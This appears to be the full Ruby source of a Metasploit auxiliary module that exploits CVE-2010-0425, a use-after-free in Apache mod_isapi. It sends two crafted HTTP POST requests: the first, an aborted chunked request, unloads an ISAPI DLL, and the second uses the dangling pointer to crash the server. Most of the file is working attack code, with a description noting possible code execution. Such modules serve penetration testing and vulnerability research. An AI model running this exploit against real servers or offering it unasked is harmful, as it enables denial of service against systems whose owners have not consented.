98 lines
3.3 KiB
Ruby
98 lines
3.3 KiB
Ruby
##
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# This module requires Metasploit: http://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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class MetasploitModule < Msf::Auxiliary
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include Msf::Exploit::Remote::Tcp
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include Msf::Auxiliary::Dos
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Apache mod_isapi Dangling Pointer',
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'Description' => %q{
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This module triggers a use-after-free vulnerability in the Apache
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Software Foundation mod_isapi extension for versions 2.2.14 and earlier.
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In order to reach the vulnerable code, the target server must have an
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ISAPI module installed and configured.
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By making a request that terminates abnormally (either an aborted TCP
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connection or an unsatisfied chunked request), mod_isapi will unload the
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ISAPI extension. Later, if another request comes for that ISAPI module,
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previously obtained pointers will be used resulting in an access
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violation or potentially arbitrary code execution.
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Although arbitrary code execution is theoretically possible, a
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real-world method of invoking this consequence has not been proven. In
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order to do so, one would need to find a situation where a particular
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ISAPI module loads at an image base address that can be re-allocated by
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a remote attacker.
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Limited success was encountered using two separate ISAPI modules. In
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this scenario, a second ISAPI module was loaded into the same memory
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area as the previously unloaded module.
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},
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'Author' =>
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[
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'Brett Gervasoni', # original discovery
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'jduck'
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'CVE', '2010-0425' ],
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[ 'OSVDB', '62674'],
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[ 'BID', '38494' ],
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[ 'URL', 'https://issues.apache.org/bugzilla/show_bug.cgi?id=48509' ],
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[ 'URL', 'http://www.gossamer-threads.com/lists/apache/cvs/381537' ],
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[ 'URL', 'http://www.senseofsecurity.com.au/advisories/SOS-10-002' ],
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[ 'EDB', '11650' ]
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],
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'DisclosureDate' => 'Mar 05 2010'))
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register_options([
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Opt::RPORT(80),
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OptString.new('ISAPI', [ true, 'ISAPI URI to request', '/cgi-bin/SMTPSend.dll' ])
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])
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end
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def run
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serverIP = datastore['RHOST']
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if (datastore['RPORT'].to_i != 80)
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serverIP += ":" + datastore['RPORT'].to_s
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end
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isapiURI = datastore['ISAPI']
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# Create a stale pointer using the vulnerability
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print_status("Causing the ISAPI dll to be loaded and unloaded...")
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unload_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
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"Pragma: no-cache\r\n" +
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"Proxy-Connection: Keep-Alive\r\n" +
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"Host: " + serverIP + "\r\n" +
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"Transfer-Encoding: chunked\r\n" +
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"Content-Length: 40334\r\n\r\n" +
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Rex::Text.rand_text_alphanumeric(rand(128)+128)
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connect
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sock.put(unload_trigger)
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disconnect
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# Now make the stale pointer get used...
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print_status("Triggering the crash ...")
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data = Rex::Text.rand_text_alphanumeric(rand(256)+1337)
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crash_trigger = "POST " + isapiURI + " HTTP/1.0\r\n" +
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"Host: " + serverIP + "\r\n" +
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"Content-Length: #{data.length}\r\n\r\n" +
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data
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connect
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sock.put(crash_trigger)
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disconnect
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end
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end
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